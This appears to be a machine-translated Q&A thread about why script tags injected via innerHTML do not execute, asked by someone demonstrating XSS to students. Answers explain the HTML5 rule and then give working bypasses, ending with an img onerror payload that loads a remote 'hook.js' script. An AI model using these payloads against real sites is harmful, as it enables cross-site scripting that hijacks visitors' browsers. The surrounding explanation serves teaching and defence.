为什么我不能将此脚本动态写入页面?

Why can't I write this script dynamically into a page?

我正在尝试向一些学生演示跨站点脚本,但具有讽刺意味的是我无法让它工作!

以下两个脚本似乎什么都不做

document.body.innerHTML += `
<script src="/hook.js" defer async></s${''}cript>
`

document.body.innerHTML += `
<script>
var s = document.createElement('script')
s.setAttribute('src', '/hook.js')
document.body.appendChild(s)
</s${''}cript>
`

我可以在 devtools 中看到添加到 DOM 的节点,它看起来正确,但在我的网络选项卡中没有触发任何查询。如果我采用完全相同的代码并将其直接放入 html 中,那么查询就会触发。

我在最新的 chrome 和 firefox

中试过了

这是怎么回事?这是某种反 xss 保护吗?

试试这个

document.write("<script type=\"text/javascript\" src=\"http://othree.net/tmp/test.js\"><\/script>");

或使用DOM方法添加

var z1 = document.createElement("script");
z1.type = "text/javascript";
z1.src = "http://othree.net/tmp/test.js";
document.getElementsByTagName("head")[0].appendChild(z1);

好的,深入挖掘我发现了 this interesting factoid

It is not uncommon to see innerHTML used to insert text in a web page. This comes with a security risk.

    var name = "John";
    // assuming el is an HTML DOM element
    el.innerHTML = name; // harmless in this case

    // ...

name = "<script>alert('I am John in an annoying alert!')</script>";
el.innerHTML = name; // harmless in this case

Although this may look like a cross-site scripting attack, the result is harmless. HTML5 specifies that a <script> tag inserted via innerHTML should not execute.

However, there are ways to execute JavaScript without using elements, so there is still a security risk whenever you use innerHTML to set strings over which you have no control. For example:

var name = "<img src=x onerror=alert(1)>";
el.innerHTML = name; // shows the alert

For that reason, it is recommended you not use innerHTML when inserting plain text; instead, use node.textContent. This doesn't interpret the passed content as HTML, but instead inserts it as raw text.

所以听起来一切都在按预期工作(只是旧浏览器没有正确实现)。你仍然可以触发XSS,只是你需要稍微聪明一点。

<img src="/doesntesist.png" onerror="var s = document.createElement(`script`);s.setAttribute(`src`, `http:///hook.js`); document.body.appendChild(s);" />